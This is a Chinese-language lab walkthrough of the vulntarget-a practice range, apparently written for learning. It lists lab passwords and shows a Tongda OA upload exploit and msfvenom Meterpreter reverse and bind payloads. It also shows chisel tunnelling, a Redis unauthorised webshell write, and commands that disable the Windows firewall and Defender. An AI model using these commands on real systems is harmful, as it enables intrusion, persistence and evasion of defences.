vulntarget-a
简介
vulntarget 漏洞靶场系列 (一) - 星期五实验室
靶场的网络拓扑

需要在虚拟网络编辑器中,定义两个虚拟网络
VMnet18 Host-only: 10.0.20.0/24
VMnet19 Host-only: 10.0.10.0/24
win7 这台虚拟机作为入口机,默认的网卡包含一张桥接模式的虚拟网卡,可以视实际情况进行修改
直接导入 3 个虚拟机即可,公众号写的是设计靶场的过程
建议按照 win2019 -> win2016-> win7 的顺序进行启动虚拟机
win7 入口 win7 这台靶机带有自动睡眠,需要注意
win2019 域控 - 2019
- 账号:administrator
- 密码:Admin@666
win2016 域成员 - 2016
- 账号:Administrator
- 密码:Admin@123
- 账号:balsec.com\win2016
- 密码:Admin#123
win7 入口 win7
- 账号:win7
- 密码:admin
入口探测
直接使用 fscan 对靶机进行扫描
start infoscan
192.168.200.10:80 open
192.168.200.10:139 open
192.168.200.10:135 open
192.168.200.10:445 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo
[*]192.168.200.10
[->]win7-PC
[->]10.0.20.98
[->]192.168.200.10
[*] WebTitle http://192.168.200.10 code:200 len:10065 title: 通达 OA 网络智能办公系统
[+] MS17-010 192.168.200.10 (Windows 7 Professional 7601 Service Pack 1)
[+] InfoScan http://192.168.200.10 [通达 OA]
[+] PocScan http://192.168.200.10 tongda-user-session-disclosure
[+] PocScan http://192.168.200.10 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
很明显两个洞:通达 OA 的文件上传 + 永恒之蓝
永恒之蓝在没有安全软件的情况下可以直接杀到 system 权限,所以先尝试通达 OA 的洞
通达 OA 文件上传
直接无脑上工具
R4gd0ll/I-Wanna-Get-All: OA 漏洞利用工具

写入一个 webshell

Url: http://192.168.200.10/R4g1730385139621.php
Pwd: whoami
achuna33/MYExploit: OAExploit 一款基于产品的一键扫描工具

尝试写入的 webshell

成功连接
win7 持久化
构造马子实现持久化
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.200.129 LPORT=3333 -f exe > 192.168.200.129-3333.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
基于蚁剑上传至靶机

执行监听
$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 3333
LPORT => 3333
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:3333

成功建立 Meterpreter 会话,并且已经是 NT AUTHORITY\SYSTEM 用户
建立内网代理
使用 chisel 建立内网代理
需要注意,高版本 go 编译的二进制文件取消了对低版本 Windows 的支持,建议使用 chisel v1.8.1
上传 chisel 二进制文件
meterpreter > upload ./tools/chisel-v1.8.1/chisel_1.8.1_windows_amd64.exe
[*] Uploading : /home/randark/tools/chisel-v1.8.1/chisel_1.8.1_windows_amd64.exe -> chisel_1.8.1_windows_amd64.exe
[*] Uploaded 8.00 MiB of 8.59 MiB (93.14%): /home/randark/tools/chisel-v1.8.1/chisel_1.8.1_windows_amd64.exe -> chisel_1.8.1_windows_amd64.exe
[*] Uploaded 8.59 MiB of 8.59 MiB (100.0%): /home/randark/tools/chisel-v1.8.1/chisel_1.8.1_windows_amd64.exe -> chisel_1.8.1_windows_amd64.exe
[*] Completed : /home/randark/tools/chisel-v1.8.1/chisel_1.8.1_windows_amd64.exe -> chisel_1.8.1_windows_amd64.exe
启动服务端
$ ./tools/chisel-v1.8.1/chisel_1.8.1_linux_amd64 server -p 1337 --reverse
2024/10/31 22:44:56 server: Fingerprint ygeqrFtSRXQYYW1Xf04LJNLAtoveMD+jrlJ4jwApR+Y=
2024/10/31 22:44:56 server: Listening on http://0.0.0.0:1337
建立代理会话
C:\>cmd /c chisel_1.8.1_windows_amd64.exe client 192.168.200.129:1337 R:0.0.0.0:10005:socks
cmd /c chisel_1.8.1_windows_amd64.exe client 192.168.200.129:1337 R:0.0.0.0:10005:socks
内网扫描
配置 proxychains 配置文件为 chisel 代理端口之后,使用 fscan 进行扫描
$ proxychains ./tools/fscan-1.8.4/fscan -h 10.0.20.0/24
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 10.0.20.1 is alive
(icmp) Target 10.0.20.98 is alive
[*] Icmp alive hosts len is: 2
10.0.20.98:135 open
10.0.20.98:139 open
10.0.20.98:445 open
10.0.20.1:445 open
10.0.20.1:139 open
10.0.20.1:135 open
10.0.20.98:80 open
10.0.20.1:7680 open
10.0.20.1:7890 open
[*] alive ports len is: 9
start vulscan
[*] NetInfo
[*]10.0.20.98
[->]win7-PC
[->]10.0.20.98
[->]192.168.200.10
[+] MS17-010 10.0.20.98 (Windows 7 Professional 7601 Service Pack 1)
[*] NetInfo
[*]10.0.20.1
[->]DESKTOP-7HGIVVS
[->]192.168.200.1
[->]172.25.0.1
[->]192.168.56.1
[->]192.168.123.116
[->]10.0.10.1
[->]10.0.20.1
[->]192.168.137.1
[->]2001:0:2851:b9f0:8b3:1b5b:8fcc:f2a8
[*] WebTitle http://10.0.20.1:7890 code:400 len:0 title:None
[*] WebTitle http://10.0.20.98 code:200 len:10065 title: 通达 OA 网络智能办公系统
[+] InfoScan http://10.0.20.98 [通达 OA]
[+] PocScan http://10.0.20.98 tongda-user-session-disclosure
已完成 9/9
[*] 扫描结束, 耗时: 12.349497283s
排除掉 win7 10.0.20.98 和 Vmware 10.0.20.1 之后,会发现结果不对,因为 Windows Server 会不响应 ICMP 请求,可以通过查看 ARP 表来发现
C:\>arp -a
Interface: 192.168.200.10 --- 0xb
Internet Address Physical Address Type
192.168.200.0 00-50-56-eb-cc-78 dynamic
192.168.200.1 00-50-56-c0-00-00 dynamic
192.168.200.129 00-0c-29-07-06-1a dynamic
192.168.200.254 00-50-56-fb-ab-25 dynamic
192.168.200.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static
Interface: 10.0.20.98 --- 0xd
Internet Address Physical Address Type
10.0.20.1 00-50-56-c0-00-12 dynamic
10.0.20.99 00-0c-29-49-db-32 dynamic
10.0.20.254 00-50-56-f9-77-e1 dynamic
10.0.20.255 ff-ff-ff-ff-ff-ff static
可以发现存在有 10.0.20.99 主机,尝试扫描
$ proxychains ./tools/fscan-1.8.4/fscan -h 10.0.20.99 -np
start infoscan
10.0.20.99:80 open
10.0.20.99:6379 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.0.20.99 code:200 len:11 title:None
[+] Redis 10.0.20.99:6379 unauthorized file:C:\Program Files\Redis/dump.rdb
已完成 2/2
[*] 扫描结束, 耗时: 10.492549051s
win2016 redis 未授权
建立端口转发
C:\>cmd /c chisel_1.8.1_windows_amd64.exe client 192.168.200.129:1337 R:0.0.0.0:10001:10.0.20.99:6379
cmd /c chisel_1.8.1_windows_amd64.exe client 192.168.200.129:1337 R:0.0.0.0:10001:10.0.20.99:6379
使用 SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

同时做一下目录扫描
Target: http://10.0.20.99/
[23:56:38] Starting:
[23:57:32] 200 - 14KB - /l.php
[23:57:43] 200 - 71KB - /phpinfo.php
查看 phpinfo.php

以及 l.php

知道网站的绝对路径之后,就可以配合写入 webshell
直接使用 Redis 未授权写入 webshel
$ proxychains -q redis-cli -h 10.0.20.99
10.0.20.99:6379> config set dir "C:/phpStudy/PHPTutorial/WWW/"
OK
10.0.20.99:6379> config set dbfilename shell.php
OK
10.0.20.99:6379> set webshell "<?php @eval($_POST['shell']);?>"
OK
10.0.20.99:6379> save
OK
10.0.20.99:6379> exit

怀疑存在有安全软件

查看网段信息
C:\phpStudy\PHPTutorial\WWW> ipconfig
Windows IP 配置
以太网适配器 Ethernet0:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::9190:38ad:1e9d:7f70%10
IPv4 地址 . . . . . . . . . . . . : 10.0.20.99
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
以太网适配器 Ethernet1:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::919b:ab4d:10b3:df65%13
IPv4 地址 . . . . . . . . . . . . : 10.0.10.111
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
隧道适配器 isatap.{A7027029-ECC3-4186-BC98-9DCE01AAA9D0}:
媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.{82CC4AA7-AABB-4296-94AE-3AB9161E5B11}:
媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
查看当前用户权限
C:\phpStudy\PHPTutorial\WWW> whoami
nt authority\system
win2016 持久化
关闭防火墙
C:\phpStudy\PHPTutorial\WWW> netsh advfirewall show allprofiles
�������ļ� ����:
----------------------------------------------------------------------
״̬ ����
����ǽ���� BlockInbound,AllowOutbound
LocalFirewallRules N/A (�� GPO �洢)
LocalConSecRules N/A (�� GPO �洢)
InboundUserNotification ����
RemoteManagement ����
UnicastResponseToMulticast ����
��־:
LogAllowedConnections ����
LogDroppedConnections ����
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
ר�������ļ� ����:
----------------------------------------------------------------------
״̬ ����
����ǽ���� BlockInbound,AllowOutbound
LocalFirewallRules N/A (�� GPO �洢)
LocalConSecRules N/A (�� GPO �洢)
InboundUserNotification ����
RemoteManagement ����
UnicastResponseToMulticast ����
��־:
LogAllowedConnections ����
LogDroppedConnections ����
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
���������ļ� ����:
----------------------------------------------------------------------
״̬ ����
����ǽ���� BlockInbound,AllowOutbound
LocalFirewallRules N/A (�� GPO �洢)
LocalConSecRules N/A (�� GPO �洢)
InboundUserNotification ����
RemoteManagement ����
UnicastResponseToMulticast ����
��־:
LogAllowedConnections ����
LogDroppedConnections ����
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
ȷ����
C:\phpStudy\PHPTutorial\WWW> chcp 65001
Active code page: 65001
C:\phpStudy\PHPTutorial\WWW> netsh advfirewall show allprofiles
�������ļ� ����:
----------------------------------------------------------------------
״̬ ����
����ǽ���� BlockInbound,AllowOutbound
LocalFirewallRules N/A (�� GPO �洢)
LocalConSecRules N/A (�� GPO �洢)
InboundUserNotification ����
RemoteManagement ����
UnicastResponseToMulticast ����
��־:
LogAllowedConnections ����
LogDroppedConnections ����
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
ר�������ļ� ����:
----------------------------------------------------------------------
״̬ ����
����ǽ���� BlockInbound,AllowOutbound
LocalFirewallRules N/A (�� GPO �洢)
LocalConSecRules N/A (�� GPO �洢)
InboundUserNotification ����
RemoteManagement ����
UnicastResponseToMulticast ����
��־:
LogAllowedConnections ����
LogDroppedConnections ����
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
���������ļ� ����:
----------------------------------------------------------------------
״̬ ����
����ǽ ���� BlockInbound,AllowOutbound
LocalFirewallRules N/A (�� GPO �洢)
LocalConSecRules N/A (�� GPO �洢)
InboundUserNotification ����
RemoteManagement ����
UnicastResponseToMulticast ����
��־:
LogAllowedConnections ����
LogDroppedConnections ����
FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize 4096
ȷ����
C:\phpStudy\PHPTutorial\WWW> netsh advfirewall set allprofiles state off
ȷ����
C:\phpStudy\PHPTutorial\WWW> gpupdate /force
然后基于当前 nt authority\system 的用户权限,直接注册表关闭 Defender
C:\phpStudy\PHPTutorial\WWW> REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
操作成功完成。
关闭 Defender 之后,就可以使用蚁剑进行文件管理等操作
但是经过多次尝试,反向马无法连接,于是尝试构建正向马
$ msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe > 4444.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 496 bytes
Final size of exe file: 7168 bytes
